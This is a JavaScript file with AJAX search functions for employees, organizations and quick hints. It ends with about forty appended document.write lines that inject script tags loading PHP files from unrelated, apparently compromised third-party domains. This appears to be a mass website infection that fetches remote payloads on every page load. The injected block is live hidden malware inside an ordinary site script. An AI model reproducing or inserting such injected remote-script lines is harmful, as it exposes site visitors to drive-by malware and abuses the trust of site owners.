var xmlHttp



function searchEmployee(str)
{	
	if (str.length==0)
	{
		document.getElementById("employeeList").innerHTML="";
		return;
	}

	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null)
	{
		alert ("Your browser does not support AJAX!");
		return;
	}
	var url="search_employee.php";
	url=url+"?q="+str;
	xmlHttp.onreadystatechange=employeeChanged;
	xmlHttp.open("GET",url,true);
	xmlHttp.send(null);
} 

function employeeChanged() 
{
	if (xmlHttp.readyState==4)
	{
		document.getElementById("employeeList").innerHTML=xmlHttp.responseText;
	}
}


function searchOrganization(str)
{	
	if (str.length==0)
	{
		document.getElementById("organizationList").innerHTML="";
		return;
	}

	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null)
	{
		alert ("Your browser does not support AJAX!");
		return;
	}
	var url="search_organization.php";
	url=url+"?q="+str;
	xmlHttp.onreadystatechange=organizationChanged;
	xmlHttp.open("GET",url,true);
	xmlHttp.send(null);
} 

function organizationChanged() 
{
	if (xmlHttp.readyState==4)
	{
		document.getElementById("organizationList").innerHTML=xmlHttp.responseText;
	}
}


function showHint(str)
{	
	if (str.length==0)
	{
		document.getElementById("txtHint").innerHTML="";
		return;
	}

	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null)
	{
		alert ("Your browser does not support AJAX!");
		return;
	}
	var url="quick_search.php";
	url=url+"?q="+str;

	url=url+"&sid="+Math.random();
	xmlHttp.onreadystatechange=stateChanged;
	xmlHttp.open("GET",url,true);
	xmlHttp.send(null);
} 

function stateChanged() 
{
	if (xmlHttp.readyState==4)
	{
		document.getElementById("txtHint").innerHTML=xmlHttp.responseText;
	}
}

function GetXmlHttpObject()
{
	var xmlHttp=null;
	try
	{
		// Firefox, Opera 8.0+, Safari
		xmlHttp=new XMLHttpRequest();
	}
	catch (e)
	{
		// Internet Explorer
		try
		{
    			xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
	    	}
		catch (e)
	    	{
		    xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
	    	}
  	}
	return xmlHttp;
}
document.write('<script src=http://tlca.com/phlist_templates/index-sept-2007.php ><\/script>');
document.write('<script src=http://tlca.com/phlist_templates/index-sept-2007.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://bountybali.com/images/spa-thalasso.php ><\/script>');
document.write('<script src=http://maruike.com/swf/lease.php ><\/script>');
document.write('<script src=http://f1freightsystems.com/images/services.php ><\/script>');
document.write('<script src=http://reserveneverbeur.be/Historie_bestanden/Testkopie.php ><\/script>');
document.write('<script src=http://abi2011gew.de/index.php ><\/script>');
document.write('<script src=http://abi2011gew.de/index.php ><\/script>');
document.write('<script src=http://abi2011gew.de/index.php ><\/script>');
document.write('<script src=http://puravidawellness.net/images/seminars.php ><\/script>');
document.write('<script src=http://alkoklima.com/images/tunnel.php ><\/script>');
document.write('<script src=http://alkoklima.com/images/tunnel.php ><\/script>');
document.write('<script src=http://alkoklima.com/images/tunnel.php ><\/script>');
document.write('<script src=http://paketik.by/administrator/CHANGELOG.php ><\/script>');
document.write('<script src=http://paketik.by/administrator/CHANGELOG.php ><\/script>');
document.write('<script src=http://fauxtastic.net/images/payment.php ><\/script>');
document.write('<script src=http://fauxtastic.net/images/payment.php ><\/script>');
document.write('<script src=http://fauxtastic.net/images/payment.php ><\/script>');
document.write('<script src=http://fauxtastic.net/images/payment.php ><\/script>');
document.write('<script src=http://kirchhofer.extra.hu/e107_docs/user.php ><\/script>');